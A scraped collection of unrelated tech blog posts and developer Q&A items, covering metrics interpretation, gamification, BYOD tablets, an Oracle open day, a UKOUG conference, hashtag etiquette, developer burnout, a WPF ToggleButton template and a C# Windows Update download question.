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• Metrics - A little knowledge can be a dangerous thing (or 'Why you're not clever enough to interpret metrics data')

  - by Jason Crease

  At RedGate Software, I work on a .NET obfuscator  called SmartAssembly.  Various features of it use a database to store various things (exception reports, name-mappings, etc.) The user is given the option of using either a SQL-Server database (which requires them to have Microsoft SQL Server), or a Microsoft Access MDB file (which requires nothing). MDB is the default option, but power-users soon switch to using a SQL Server database because it offers better performance and data-sharing. In the fashionable spirit of optimization and metrics, an obvious product-management question is 'Which is the most popular? SQL Server or MDB?' We've collected data about this fact, using our 'Feature-Usage-Reporting' technology (available as part of SmartAssembly) and more recently our 'Application Metrics' technology: Parameter Number of users % of total users Number of sessions Number of usages SQL Server 28 19.0 8115 8115 MDB 114 77.6 1449 1449 (As a disclaimer, please note than SmartAssembly has far more than 132 users . This data is just a selection of one build) So, it would appear that SQL-Server is used by fewer users, but more often. Great. But here's why these numbers are useless to me: Only the original developers understand the data What does a single 'usage' of 'MDB' mean? Does this happen once per run? Once per option change? On clicking the 'Obfuscate Now' button? When running the command-line version or just from the UI version? Each question could skew the data 10-fold either way, and the answers only known by the developer that instrumented the application in the first place. In other words, only the original developer can interpret the data - product-managers cannot interpret the data unaided. Most of the data is from uninterested users About half of people who download and run a free-trial from the internet quit it almost immediately. Only a small fraction use it sufficiently to make informed choices. Since the MDB option is the default one, we don't know how many of those 114 were people CHOOSING to use the MDB, or how many were JUST HAPPENING to use this MDB default for their 20-second trial. This is a problem we see across all our metrics: Are people are using X because it's the default or are they using X because they want to use X? We need to segment the data further - asking what percentage of each percentage meet our criteria for an 'established user' or 'informed user'. You end up spending hours writing sophisticated and dubious SQL queries to segment the data further. Not fun. You can't find out why they used this feature Metrics can answer the when and what, but not the why. Why did people use feature X? If you're anything like me, you often click on random buttons in unfamiliar applications just to explore the feature-set. If we listened uncritically to metrics at RedGate, we would eliminate the most-important and more-complex features which people actually buy the software for, leaving just big buttons on the main page and the About-Box. "Ah, that's interesting!" rather than "Ah, that's actionable!" People do love data. Did you know you eat 1201 chickens in a lifetime? But just 4 cows? Interesting, but useless. Often metrics give you a nice number: '5.8% of users have 3 or more monitors' . But unless the statistic is both SUPRISING and ACTIONABLE, it's useless. Most metrics are collected, reviewed with lots of cooing. and then forgotten. Unless a piece-of-data could change things, it's useless collecting it. People get obsessed with significance levels The first things that lots of people do with this data is do a t-test to get a significance level ("Hey! We know with 99.64% confidence that people prefer SQL Server to MDBs!") Believe me: other causes of error/misinterpretation in your data are FAR more significant than your t-test could ever comprehend. Confirmation bias prevents objectivity If the data appears to match our instinct, we feel satisfied and move on. If it doesn't, we suspect the data and dig deeper, plummeting down a rabbit-hole of segmentation and filtering until we give-up and move-on. Data is only useful if it can change our preconceptions. Do you trust this dodgy data more than your own understanding, knowledge and intelligence?  I don't. There's always multiple plausible ways to interpret/action any data Let's say we segment the above data, and get this data: Post-trial users (i.e. those using a paid version after the 14-day free-trial is over): Parameter Number of users % of total users Number of sessions Number of usages SQL Server 13 9.0 1115 1115 MDB 5 4.2 449 449 Trial users: Parameter Number of users % of total users Number of sessions Number of usages SQL Server 15 10.0 7000 7000 MDB 114 77.6 1000 1000 How do you interpret this data? It's one of: Mostly SQL Server users buy our software. People who can't afford SQL Server tend to be unable to afford or unwilling to buy our software. Therefore, ditch MDB-support. Our MDB support is so poor and buggy that our massive MDB user-base doesn't buy it.  Therefore, spend loads of money improving it, and think about ditching SQL-Server support. People 'graduate' naturally from MDB to SQL Server as they use the software more. Things are fine the way they are. We're marketing the tool wrong. The large number of MDB users represent uninformed downloaders. Tell marketing to aggressively target SQL Server users. To choose an interpretation you need to segment again. And again. And again, and again. Opting-out is correlated with feature-usage Metrics tends to be opt-in. This skews the data even further. Between 5% and 30% of people choose to opt-in to metrics (often called 'customer improvement program' or something like that). Casual trial-users who are uninterested in your product or company are less likely to opt-in. This group is probably also likely to be MDB users. How much does this skew your data by? Who knows? It's not all doom and gloom. There are some things metrics can answer well. Environment facts. How many people have 3 monitors? Have Windows 7? Have .NET 4 installed? Have Japanese Windows? Minor optimizations.  Is the text-box big enough for average user-input? Performance data. How long does our app take to start? How many databases does the average user have on their server? As you can see, questions about who-the-user-is rather than what-the-user-does are easier to answer and action. Conclusion Use SmartAssembly. If not for the metrics (called 'Feature-Usage-Reporting'), then at least for the obfuscation/error-reporting. Data raises more questions than it answers. Questions about environment are the easiest to answer.

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• Gamification = -10#/3mo

  - by erikanollwebb

  One of the purposes of gamification of anything is to see if you can modify the behavior of the user. In the enterprise, that might mean getting sales people to enter more information into a CRM system, encouraging employees to update their HR records, motivating people to participate in forums and discussions, or process invoices more quickly.  Wikipedia defines behavior modification as "the traditional term for the use of empirically demonstrated behavior change techniques to increase or decrease the frequency of behaviors, such as altering an individual's behaviors and reactions to stimuli through positive and negative reinforcement of adaptive behavior and/or the reduction of behavior through its extinction, punishment and/or satiation."  Gamification is just a way to modify someone's behavior using game mechanics. And the magic question is always whether it works. So I thought I would present my own little experiment from the last few months.  This spring, I upgraded to a Samsung Galaxy 4.  It's a pretty sweet phone in many ways, but one of the little extras I discovered was a built in app called S Health. S Health is an app that you can use to track calories, weight, exercise and it has a built in pedometer. I looked at it when I got the phone, but assumed you had to turn it on to use it so I didn't look at it much.  But sometime in July, I realized that in fact, it just ran in the background and was quietly tracking my steps, with a goal of 10,000 per day.  10,000 steps per day is this magic number recommended by the Surgeon General and the American Heart Association.  Dr. Oz pushes it as the goal for daily exercise.  It's about 5 miles of walking. I'm generally not the kind of person who always has my phone with me.  I leave it in my purse and pull it out when I need it.  But then I realized that meant I wasn't getting a good measure of my steps.  I decided to do a little experiment, and carry it with me as much as possible for a week.  That's when I discovered the gamification that changed my life over the last 3 months.  When I hit 10,000 steps, the app jingled out a little "success!" tune and I got a badge.  I was hooked.  I started carrying my phone.  I started making sure I had shoes I could walk in with me.  I started walking at lunch time, because I realized how often I sat at my desk for 8-10 hours every day without moving.  I started pestering my husband to walk with me after work because I hadn't hit my 10,000 yet, leading him at one point to say "I'm not as much a slave to that badge as you are!"  I started looking at parking lots differently.  Can't get a space up close?  No worries, just that many steps toward my 10,000.  I even tried to see if there was a second power user level at 15,000 or 20,000 (*sadly, no).  If I was close at the end of the day, I have done laps around my house until I got my badge.  I have walked around the block one more time to get my badge.  I have mentally chastised myself when I forgot to put my phone in my pocket because I don't know how many steps I got.  The badge below I got when my boss and I were in New York City and we walked around the block of our hotel just to watch the badge pop up. There are a bunch of tools out on the market now that have similar ideas for helping you to track your exercise, make it social.  There are apps (my favorite is still Zombies, Run!).  You could buy a FitBit or UP by Jawbone.   Interactive fitness makes the Expresso stationary bike with built in video games.  All designed to help you be more aware of your activity and keep you engaged and motivated.  And the idea is to help you change your behavior. I know someone who would spend extra time and work hard on the Expresso because he had built up strategies for how to kill the most dragons while he was riding to get more points.  When the machine broke down, he didn't ride a different bike because it just wasn't that interesting. But for me, just the simple jingle and badge have been all I needed.  I admit, I still giggle gleefully when I hear the tune sing out from my pocket. After a few weeks, I noticed I had dropped a few pounds.  Not a lot, just 2-3.  But then I was really hooked.  I started making a point both to eat a little less and hit 10,000 steps as much as I could.  I bemoaned that during the floods in Boulder, I wasn't hitting my 10,000 steps.  And now, a few months later, I'm almost 10 lbs lighter. All for 1 badge a day. So yes, simple gamification can increase motivation and engagement.  And that can lead to changes in behavior.  Now the job is to apply that to the enterprise space in a meaningful and engaging way. 

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• BYOD-The Tablet Difference

  - by Samantha.Y. Ma

  By Allison Kutz, Lindsay Richardson, and Jennifer Rossbach, Sales Consultants Normal 0 false false false EN-US ZH-TW X-NONE MicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Calibri","sans-serif"; mso-bidi-font-family:"Times New Roman";} Less than three years ago, Apple introduced a new concept to the world: The Tablet. It’s hard to believe that in only 32 months, the iPad induced an entire new way to do business. Because of their mobility and ease-of-use, tablets have grown in popularity to keep up with the increasing “on the go” lifestyle, and their popularity isn’t expected to decrease any time soon. In fact, global tablet sales are expected to increase drastically within the next five years, from 56 million tablets to 375 million by 2016. Tablets have been utilized for every function imaginable in today’s world. With over 730,000 active applications available for the iPad, these tablets are educational devices, portable book collections, gateways into social media, entertainment for children when Mom and Dad need a minute on their own, and so much more. It’s no wonder that 74% of those who own a tablet use it daily, 60% use it several times a day, and an average of 13.9 hours per week are spent tapping away. Tablets have become a critical part of a user’s personal life; but why stop there? Businesses today are taking major strides in implementing these devices, with the hopes of benefiting from efficiency and productivity gains. Limo and taxi drivers use tablets as payment devices instead of traditional cash transactions. Retail outlets use tablets to find the exact merchandise customers are looking for. Professors use tablets to teach their classes, and business professionals demonstrate solutions and review reports from tablets. Since an overwhelming majority of tablet users have started to use their personal iPads, PlayBooks, Galaxys, etc. in the workforce, organizations have had to make a change. In many cases, companies are willing to make that change. In fact, 79% of companies are making new investments in mobility this year. Gartner reported that 90% of organizations are expected to support corporate applications on personal devices by 2014. It’s not just companies that are changing. Business professionals have become accustomed to tablets making their personal lives easier, and want that same effect in the workplace. Professionals no longer want to waste time manually entering data in their computer, or worse yet in a notebook, especially when the data has to be later transcribed to an online system. The response: the Bring Your Own Device phenomenon. According to Gartner, BOYD is “an alternative strategy allowing employees, business partners and other users to utilize a personally selected and purchased client device to execute enterprise applications and access data.” Employees whose companies embrace this trend are more efficient because they get to use devices they are already accustomed to. Tablets change the game when it comes to how sales professionals perform their jobs. Sales reps can easily store and access customer information and analytics using tablet applications, such as Oracle Fusion Tap. This method is much more enticing for sales reps than spending time logging interactions on their (what seem to be outdated) computers. Forrester & IDC reported that on average sales reps spend 65% of their time on activities other than selling, so having a tablet application to use on the go is extremely powerful. In February, Information Week released a list of “9 Powerful Business Uses for Tablet Computers,” ranging from “enhancing the customer experience” to “improving data accuracy” to “eco-friendly motivations”. Tablets compliment the lifestyle of professionals who strive to be effective and efficient, both in the office and on the road. Three Things Businesses Need to do to Embrace BYOD Make customer-facing websites tablet-friendly for consistent user experiences Develop tablet applications to continue to enhance the customer experience Embrace and use the technology that comes with tablets Almost 55 million people in the U.S. own tablets because they are convenient, easy, and powerful. These are qualities that companies strive to achieve with any piece of technology. The inherent power of the devices coupled with the growing number of business applications ensures that tablets will transform the way that companies and employees perform.

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• CS, SE, HCI, Information Science, Please recommendation for further education of the former performing art manager seeking career in IT industries? [on hold]

  - by Baek Seungjoo

  IT specialists there J Thank you very much for your collective efforts here, and I got huge help reading your professional comments and advices on each questions I have searched so far! This time, I would like to ask for your practical advices or recommendation on what I am struggling on at this moment. I am currently seeking higher education for my career transition from performing art manager and director to “IT software and/or service development and management specialist”. However, as this field is quite new to me, and there are lots of different work positions, I have no idea which grad major I better pursue in order to get qualification. Of course I know this question could sounds wired as it is kind of personal choice. But my lack of understanding on how IT software companies work in general, your practical and experience-based advice will be great help to me, who spent more than two months of self-research on net. OK. Before my question, here is my plan and history, which are quite different from those currently in IT industry I think… 1) Target Firstly, get career transition into IT service or products companies and get experiences. Eventually, pursue IT entrepreneurship in combination with my arts and cultural production and business expertise. 2) Background Career: performing arts director and manager in theatre-based scale opera and musical Art education in youth BA in literature and Chinese studies (Art & Humanities) MA in Cultural & Creative Industries (Art & Humanities) – dissertation with focus on digital prosumption and the lived experience of the prosumer. (a qualitative research on the agents in the digital world) 2) Personally Huge interest in IT hardware and software, and their trend. Skills to build up, repair, tune PCs -of course this is no more than personal hobby, but shows my interests in this field. 4) Problem Encounter a question “So, what do you think you can contribute practically in this position”. This question turn me down everytime I go through job interviews, and I decided more education in the relevant area. Here are my questions. 1) In terms of work positions in IT software companies, I wonder if I can put the comparison of what “Artists” is to “Arts Manager or Director” is what “Developer” is to “Product Manager”. (Of course, this stereotypical division of Artist-Art Manager is out of sense because the domain overlaps to some extent, and is blurring at least in my field, and they are in different contexts, but just speaking easily.) Normally, artist comes with special arts educations, and they live in their own world of artistic inspiration and creation, and they feel alive in practice and on stages. Meanwhile, from the point of staging and managing productions, the role of art manager is critical as well. Our role cares how the production appeals to the audience in effective way, how to make profit and future sustainable management through that, how to set up future strategy in consideration of the external conditions such as political and social circumstances, audience trend and level, other production trends from on-going and historical perspectives, how and what the production make voice to the society from political, economic, humanitarian stances. So, we need keen eyes on economic, political, and societal environment, have to understand human-being and their desires, must know how to make presentation and attract investors, must have sense in managing and fighting over the limited financial resource, how to extend networking and so on. It is common that the two agents create productions in collaboration (normally not in that ideal way but in conflict and fight though J ). So, we need to know each other’s expertise to some extent, for better production. What are the work positions in IT software industries equivalent to the role of “art manager” in performing arts? From my view, considering developers come with special education in the world of computer science, software engineering, or others (self-education sometimes), and they express themselves with the arts of coding, computer languages on the black screen, and make sort of their artistic production online to the audience, I guess there might be someone who collaborate with developers in creating, managing, and launching IT services or products. 2) Which education among CS, SE, HCI, Information Science, is needed for those seeking such work position? Especially for person like me. (At this moment, Information Science has the highest possibility to get in, since I lack Calculus and Math in undergrad educaiton. But please let me know irrespective of this concern, I think there are ways to back it up if CS or SE education needed in my case) 3) Which field between Information Science and HCI can be more practical background regarding job hungting? And which of them have more demands in job market? AS I checked, HCI is more close to CS than IS in its focus of study area. Thank you very much for your patience reading such a long inquiry, and I appreciate to your efforts in advance. Have a nice day in this beautiful summer.

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• What do the participants say about the Open Day in South Africa?

  - by Maria Sandu

  Normal 0 false false false EN-US X-NONE X-NONE MicrosoftInternetExplorer4 On the 26th of September, a group of students who were specifically selected to attend an Open day at Oracle South Africa, joined us at our offices in Woodmead, Johannesburg. The Conference room was filled with inquisitive minds. What we had in store for them was a detailed presentation about Oracle which was delivered by Zuko - Cluster Leader: Tech GB South Africa. The student’s many questions were all answered especially when we started addressing the opportunities we have and detailed information on our Graduate Programme. Our employees then came to talk about their experience. This allowed all the students to have an integrated learning experience. By inviting the students to walk around our Oracle Offices allowed them to see, talk, experience a bit of the culture and ask more questions. Here is some of the feedback from the attendees: Maxwell Moloi: “The open day truly served its purpose and exceeded expectations in the sense that I got to find out more about Oracle and all the different opportunities it has to offer. The fact that Oracle supplies a full solution to a customer and not just part of it and how the company manages to setup professional development for their employees is what entices me to want to join the rapidly growing team of Oracle.” Nqobile Mabaso: “I found the open day to be quite informative and enlightening because coming from a marketing background I could apply the knowledge I got from varsity to the Company I was able to point out what they do as part of their corporate social responsibility (Oracle recently partnered with the department of education to build a school), how Oracle emphasizes on relationship building because they know they sell to people and not companies and how they offer the full stack of solutions which gives them a competitive advantage over their competitors.” Nondumiso Mvelase: “The Open Day was a wonderful experience for me especially because I have never been part of an Open Day before, so it was absolutely amazing for me. It gave me a good idea of how it is to be part of Oracle. We were served with lovely breakfast and lunch which I enjoyed. I wish the Open Day went on for a whole week. Seeing and hearing from 2013 Graduates, telling us about their experience within Oracle was very inspiring to me. They were encouraging us to work hard if we ever got the opportunity they had. After hearing this from them I will definitely not take it for granted.” Itumeleng Moraka: “Before I walked into the Oracle offices all that was in my mind was databases and cloud storage. I was then surrounded by passionate, enthusiastic and welcoming employees. I came across a positive energy within the multinational company. I realized that Oracle is not a company that operates in survival mode. This may sound idealistic, but they operate in a non-traditional way investing more into innovation, they stay focused on what matters most about where technology is going and at the same time they are not losing sight of how their products make a difference in the world.” For more information on how to be part of the Oracle Graduate Programme please follow us on Facebook! https://www.facebook.com/CampusAtOracle /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin-top:0in; mso-para-margin-right:0in; mso-para-margin-bottom:10.0pt; mso-para-margin-left:0in; line-height:115%; mso-pagination:widow-orphan; font-family:"Calibri","sans-serif"; mso-ascii- mso-ascii-theme-font:minor-latin; mso-fareast-font-family:"Times New Roman"; mso-fareast-theme-font:minor-fareast; mso-hansi- mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;}

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• UK OUG Conference Highlights and Insights

  - by Richard Bingham

  As per my preemptive post, this was the first time the annual conference organized by the UK Oracle User Group (UKOUG) was split into two events, one for Oracle Applications and another in December for Oracle Technology. Apps13, as it was branded, was hailed as a success, with over 1000 registered attendees and three days of sessions, exhibition, round-tables and many other types of content. As this poster on their stand illustrates, the UKOUG is a strong community with popular participants from both big and small Oracle partners and customers. The venue was a more intimate setting than previous years also, allowing everyone to casually bump into those they hoped to. It gave a real feeling of an Apps Community. The main themes over the days where CRM and Customer Experience, HCM, and FIN/SCM. This allowed people to attend just one focused day if they wanted. In addition the Apps Transformation stream ran across all three days, offering insights, advice, and details on the newer product solutions like Fusion Applications.  Here are some of the key take-aways I got from the conference, specific to my role in Fusion Applications Developer Relations: User Experience continues to be a significant reason for adopting some of the newer application products available, with immediately obvious gains in user productivity and satisfaction reported by customers. Also this doesn't stop with the baked-in UX either, with their Design Patterns proving popular and indeed currently being extended to including things like extending on ADF mobile and customizing the Simplified UI. More on this to come from us soon. The executive sessions emphasized the "it's a journey" phrase, illustrating that modern business applications are powered by technologies such as Cloud, Mobile, Social and Big Data and these can be harnessed to help propel your organization forward. Indeed the emphasis is away from the traditional vendor prescribed linear applications road map, and towards plotting a course based on business priorities supported by a broad range of integrated solutions. To help with this several conference sessions demoed the new "Applications Navigator" tool, developed in partnership with OUG members, which offers a visual framework to help organizations plan their Oracle Applications investments around business and technology imperatives. Initial reaction was positive, especially as customers do not need to decipher Oracle's huge product catalog and embeds the best blend of proven and integrated applications solutions. We'll share more on this when it is generally available. Several sessions focused around explanations and interpretation of Oracle OpenWorld 2013, helping highlight the key Oracle Applications messages and directions. With a relative small percentage of conference attendees also at OpenWorld (from a show of hands) this was a popular way to distill the information available down into specific items of interest for the community. Please note the original OpenWorld 2013 content is still available for download but will not remain available forever (via the Oracle website OpenWorld Content Catalog > pick a session > see the PDF download). With the release of E-Business Suite 12.2 the move to develop and deploy on the Fusion Middleware stack becomes a reality for many Oracle Applications customers. This coupled with recent E-Business Suite features such as the Integrated SOA Gateway and the E-Business Suite SDK for Java, illustrates how the gap between the technologies and techniques involved in extending E-Business Suite and Fusion Applications is quickly narrowing. We'll see this merging continue to evolve going forwards. Getting started with Oracle Cloud Applications is actually easier than many customers expected, with a broad selection of both large and medium sized organizations explaining how they added new features to their existing Oracle Applications portfolios. New functionality available from Fusion HCM and CX are popular extensions that do not have to disrupt those core business services. Coexistence is the buzzword here, and the available integration is also simpler than many expected, commonly involving an initial setup data load, then regularly incremental synchronizations, often without a need for real-time constant communication between systems. With much of this pre-built already the implementation process is also quite rapid. With most people dressed in suits, we wanted to get the conversations going without the traditional english reserve, so we decided to make ourselves a bit more obvious, as the photo below shows. This seemed to be quite successful and helped those interested identify and approach us. Keep a look out for similar again. In fact if you're in the UK there is an "Apps Transformation Day" planned by the UKOUG for the 19th March 2014, with more details to follow. Again something we'll be sure to participate in. I am hoping to attend the next half of the UKOUG annual conference, Tech13, that focuses more on Oracle technology and where there is more likely to be larger attendance of those interested in the lower-level aspects of applications customization and development. If you're going, let me know and maybe we can meet up.

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• How to Hashtag (Without Being #Annoying)

  - by Mike Stiles

  The right tool in the wrong hands can be a dangerous thing. Giving a chimpanzee a chain saw would not be a pretty picture. And putting Twitter hashtags in the hands of social marketers who were never really sure how to use them can be equally unattractive. Boiled down, hashtags are for search and organization of tweets. A notch up from that, they can also be used as part of a marketing strategy. In terms of search, if you’re in the organic apple business, you want anyone who searches “organic” on Twitter to see your posts about your apples. It’s keyword tactics not unlike web site keyword search tactics. So get a clear idea of what keywords are relevant for your tweet. It’s reasonable to include #organic in your tweet. Is it fatal if you don’t hashtag the word? It depends on the person searching. If they search “organic,” your tweet’s going to come up even if you didn’t put the hashtag in front of it. If the searcher enters “#organic,” your tweet needs the hashtag. Err on the side of caution and hashtag it so it comes up no matter how the searcher enters it. You’ll also want to hashtag it for the second big reason people hashtag, organization. You can follow a hashtag. So can the rest of the Twitterverse. If you’re that into organic munchies, you can set up a stream populated only with tweets hashtagged #organic. If you’ve established a hashtag for your brand, like #nobugsprayapples, you (and everyone else) can watch what people are tweeting about your company. So what kind of hashtags should you include? They should be directly related to the core message of your tweet. Ancillary or very loosely-related hashtags = annoying. Hashtagging your brand makes sense. Hashtagging your core area of interest makes sense. Creating a specific event or campaign hashtag you want others to include and spread makes sense (the burden is on you to promote it and get it going). Hashtagging nearly every word in the tweet is highly annoying. Far and away, the majority of hashtagged words in such tweets have no relevance, are not terms that would be searched, and are not terms needed for categorization. It looks desperate and spammy. Two is fine. One is better. And it is possible to tweet with --gasp-- no hashtags! Make your hashtags as short as you can. In fact, if your brand’s name really is #nobugsprayapples, you’re burning up valuable, limited characters and risking the inability of others to retweet with added comments. Also try to narrow your topic hashtag down. You’ll find a lot of relevant users with #organic, but a lot of totally uninterested users with #food. Just as you can join online forums and gain credibility and a reputation by contributing regularly to that forum, you can follow hashtagged topics and gain the same kind of credibility in your area of expertise. Don’t just parachute in for the occasional marketing message. And if you’re constantly retweeting one particular person, stop it. It’s kissing up and it’s obvious. Which brings us to the king of hashtag annoyances, “hashjacking.” This is when you see what terms are hot and include them in your marketing tweet as a hashtag, even though it’s unrelated to your content. Justify it all you want, but #justinbieber has nothing to do with your organic apples. Equally annoying, piggybacking on a popular event’s hashtag to tweet something not connected to the event. You’re only fostering ill will and mistrust toward your account from the people you’ve tricked into seeing your tweet. Lastly, don’t @ mention people just to make sure they see your tweet. If the tweet’s not for them or about them, it’s spammy. What I haven’t covered is use of the hashtag for comedy’s sake. You’ll see this a lot and is a matter of personal taste. No one will search these hashtagged terms or need to categorize then, they’re just there for self-expression and laughs. Twitter is, after all, supposed to be fun.  What are some of your biggest Twitter pet peeves? #blogsovernow

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• How do I dig myself out of this DEEP hole? [closed]

  - by user74847

  I may be a bit bias in the way i word this but any opinions and suggestions are welcome. I should start by saying i have a MSc in CS and a degree in new media +6 years expereince and im probably around a middleweight developer. I started a web development company with my friend from uni a year ago, there was a 4 month gap in the middle where i went miles away work on a big project. Ive since returned and picked up where we left off. A year on though i find im still staying up til 5am and getting up at 9 sometimes 2-3 days without sleep. While i was away i was working 9-5 and struggling to keep up with doing stuff for my clients 8 hours ahead, after work, so things stagnated. We currently have about 12 active projects, with one other part time developer and a full time freelancer who is dealing with one of our major projects. I am solely responsible for concurrently developing 2 big sites similar to gumtree in functionality, at the same time as about 5-6+ small WordPress based 5-10page sites. a lot of the content isnt in yet or the client is delaying so i chop and change project every other day which does my head in. Is it reasonable to expect myself to remember the intricate details of each project when i come back to it a week later? and remember the details of a task which hasnt been written down? my business partner seems to think so. or am i just forgetful? Im particularly bad at estimating timescales which doesnt help, added to that a lot of the technologies im am using are new to me (a magento site took weeks to theme rather than days and was full of bugs, even after 1000's of google searches and hours reading forums) im still trying to learn and find the best CMS for us to use and getting my head around the likes of Bootstrap and jquery, Cpanel / Linux (we just got a blank vps for me to set up with no experience) even installing an SSL certificate caused everyone's mail clients to go down which was more stress for me to sort out. I find the pressure of the workload and timescales and trying to learn this stuff so fast is beginning to turn me against my career path. The fact that i never seem to get anything done really winds up my business partner and iv come to associate him with the stress and pain of the whole situation especially when I get berated or a look that says "oh you retard" when I forget something. Even today i spent hours learning how a particular themeforest theme worked with wordpress and how i could twist it to work for our partiuclar needs, on the surface had done no work, that triggered a 30 minute tirade of anger and stress and questioning what i had done from my business partner. had i taken too long to work on that? shoudl i have done it in 2 hours instead of 6? i told him i would take 2 hours. i was wrong. I feel like im running myself into the ground. My sleeping pattern has got so bad that when im working im half asleep and making mistakes, my eyes are constantly purple underneath, i literally fall asleep at my desk, its affecting my social life too, ive not slept more than lightly for the last year and grind through impossible code puzzles in my half sleep wich keeps me awake, when im already exhausted. plus the work is rushed and buggy when it does get done so drags on into the next project. I also procrastinate quite badly, pacing the livingroom, looking out the window when Im alone for three days straight in the flat and start to get cabin fever which means i do even less work and the negative feedback loop continues. I get told im the only one with the problem when i say that i cant work from home any more, and examples of other freelancers get brought up. an office wouldnt bring any extra cash in to the company but im convinced having that moving more than 2 meters away from my bed to go to "work" would get me working, at the moment i feel guilty like i should be working 24-7. It is important that we do all this work to raise enough cash to get our business to the next level but every month still feels like a struggle to pay the rent (there is about £20K coming in by Jan) and i have to borrow money from friends often to buy food or get a taxi to a meeting, so it is vital the money keeps coming in. (im also 20 mins late for nearly all meetings but thats a different issue) have you experienced anything similar? how can i deal with the issues ive raised? is it realistic to develop 10 sites at once? how can i improve my relationship with my business partner? do you struggle to work at home? how do you deal with that? i think if i dont get my life on track by feb i will seriously consider giving it all up, but that seems like such a waste. any ideas!!? i need help! Thanks.

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• WPF ToggleButton changing image depending on state

  - by mack369

  I would like to use ToggleButton in following way: There are 5 different images and each of them should be displayed depending on current state: button disabled button enabled, unchecked button enabled, unchecked, pointed by mouse cursor button enabled, checked button enabled, checked, pointed by mouse cursor I've found a simple example with two images on http://social.msdn.microsoft.com/Forums/en-US/wpf/thread/28c36bd2-2ef7-4232-9976-2a0967140e32 , but how to change the image depending on "checked" property? The second question: how can I avoid creating different styles for each button in my application? I'm using about 20 different buttons and each of them has different set of icons. So far I'm using only one icon, below my code. Is it possible to have common code (style and template) and to define the source of images in section where I want to create button (like in section 3 of my code)? <ControlTemplate x:Key="ToggleButtonTemplate" TargetType="{x:Type ToggleButton}"> <Grid> <Border x:Name="ContentBorder" CornerRadius="4" BorderBrush="Transparent" BorderThickness="1" Background="{DynamicResource ButtonOff}"> <ContentPresenter SnapsToDevicePixels="{TemplateBinding SnapsToDevicePixels}" HorizontalAlignment="{TemplateBinding HorizontalContentAlignment}" Margin="{TemplateBinding Padding}" VerticalAlignment="{TemplateBinding VerticalContentAlignment}" RecognizesAccessKey="True"/> </Border> </Grid> <ControlTemplate.Triggers> <Trigger Property="IsPressed" Value="true"> <Setter TargetName="ContentBorder" Property="Background" Value="{DynamicResource ButtonOn}"/> </Trigger> <Trigger Property="IsChecked" Value="true"> <Setter TargetName="ContentBorder" Property="Background" Value="{DynamicResource ButtonOn}"/> </Trigger> <Trigger Property="IsEnabled" Value="false"> <Setter TargetName="ContentBorder" Property="Background" Value="{DynamicResource ButtonDisabled}"/> <Setter Property="Foreground" Value="{DynamicResource BorderDisabled}"/> </Trigger> </ControlTemplate.Triggers> </ControlTemplate> <Style x:Key="ToggleButtonStyle" TargetType="{x:Type ToggleButton}"> <Setter Property="Width" Value="64" /> <Setter Property="Height" Value="64" /> <Setter Property="HorizontalContentAlignment" Value="Center"/> <Setter Property="VerticalContentAlignment" Value="Center"/> <Setter Property="Template" Value="{DynamicResource ToggleButtonTemplate}" /> </Style> <ToggleButton IsChecked="{Binding Path=IsLectorModeEnabled}" Command="{Binding CmdLector}" Style="{DynamicResource ToggleButtonStyle}"> <Image Source="{DynamicResource LectorImage}" HorizontalAlignment="Center" VerticalAlignment="Center" Stretch="None" /> </ToggleButton>

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• C# and WUAPI: BeginDownload function

  - by Laurus Schluep

  first things first: I have no experience in object-oriented programming, whatsoever. I created my share of VB scripts and a bit of Java in school, but that's it. So my problem most likely lies there. But nevertheless, for the past few days, I've been trying to get a little application together that allows me to scan for, select and install Windows updates. So far I've been able to understand most of the reference and with the help of a few posts around the internet and I'm now at the point where I can select and download updates. So far I've been able to download a collection of updates using the following code: UpdateCollection CurrentInstallCollection = (UpdateCollection)e.Argument; UpdateDownloader CurrentDownloader = CurrentSession.CreateUpdateDownloader(); CurrentDownloader.Updates = CurrentInstallCollection; This is run in a background worker and returns once the download is done. It works just fine, I can see the updates getting downloaded on the file system but there isn't really a way to display the progress within the application. To do such a thing, there is the IDownloadJob interface that allows me to use the .BeginDownload method of the downloader (UpdateSession.CreateUpdateDownloader)...i think, at least. :D And here comes the problem: I have now tried for about 6 hours to get the code working, but no matter what I tried nothing worked. Also, there isn't much information around on the internet about the .BeginDownload method (or at least it seems that way), but my call of the method doesn't work: IDownloadJob CurrentDownloadJob = CurrentDownloader.BeginDownload(); I have no clue what arguments to supply...I've tried methods, objects...to no avail. The complete block of code looks like this: UpdateCollection CurrentInstallCollection = (UpdateCollection)e.Argument; UpdateDownloader CurrentDownloader = CurrentSession.CreateUpdateDownloader(); CurrentDownloader.Updates = CurrentInstallCollection; IDownloadJob CurrentDownloadJob = CurrentDownloader.BeginDownload(); IDownloadProgress CurrentJobProgess = CurrentDownloadJob.GetProgress(); tbStatus.Text = Convert.ToString(CurrentJobProgess.PercentComplete); I've found one source on the internet that called the method with .BeginDownload(this,this,this), which does not report any error in the code editor but probably won't help with reporting as it is my understanding, that the arguments supplied are the methods that are called when the described event occurrs (progress has changed or the download has finished). I also tried this, but it didn't work either: http://social.msdn.microsoft.com/Forums/en/csharpgeneral/thread/636a8399-2bc1-46ff-94df-a58cebfe688c A detailed description of the BeginDownload method: http://msdn.microsoft.com/en-us/library/aa386132(v=VS.85).aspx WUAPI Reference: Unfortunately I'm not allowed to post the link, but the link to the BeginDownload method goes to the same place. :) I know, it's quite a bit to ask, but if someone could point me in the right direction (as in which arguments to pass and how), it'd be very much appreciated! :)

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• Handling Errors from HttpWebRequest.GetResponse

  - by Jason

